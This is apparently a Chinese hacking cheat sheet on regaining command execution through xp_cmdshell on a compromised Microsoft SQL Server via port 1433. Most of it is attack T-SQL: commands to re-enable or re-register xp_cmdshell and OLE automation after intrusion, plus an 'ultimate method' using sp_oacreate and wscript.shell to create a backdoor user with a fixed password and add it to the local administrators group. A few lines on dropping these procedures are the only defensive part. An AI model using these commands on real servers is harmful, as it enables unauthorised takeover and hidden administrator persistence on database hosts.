1433 sql入侵恢复xp_cmdshell方法总结
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options',1;RECONfigURE;EXEC sp_configure 'xp_cmdshell',1;RECONfigURE; sql2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options',1;RECONfigURE;exec sp_configure 'Ad Hoc distributed Queries',1;RECONfigURE; sql2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options',1;RECONfigURE;exec sp_configure 'Ole Automation Procedures',1;RECONfigURE; 突破SA的各种困难
常见情况恢复执行xp_cmdshell
1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell','c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add' xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell','c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell','c:\windows\system32\cmd.exe /c net localgroup administrators dell /add' --------------
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell' 恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell' 恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll' 开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll' 判断存储扩展是否存在
select count() from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count() from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' 堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell
----------------
删除sql危险存储:
<div class="codetitle"><a style="CURSOR: pointer" data="53295" class="copybut" id="copybut53295" onclick="doCopy('code53295')"> 代码如下: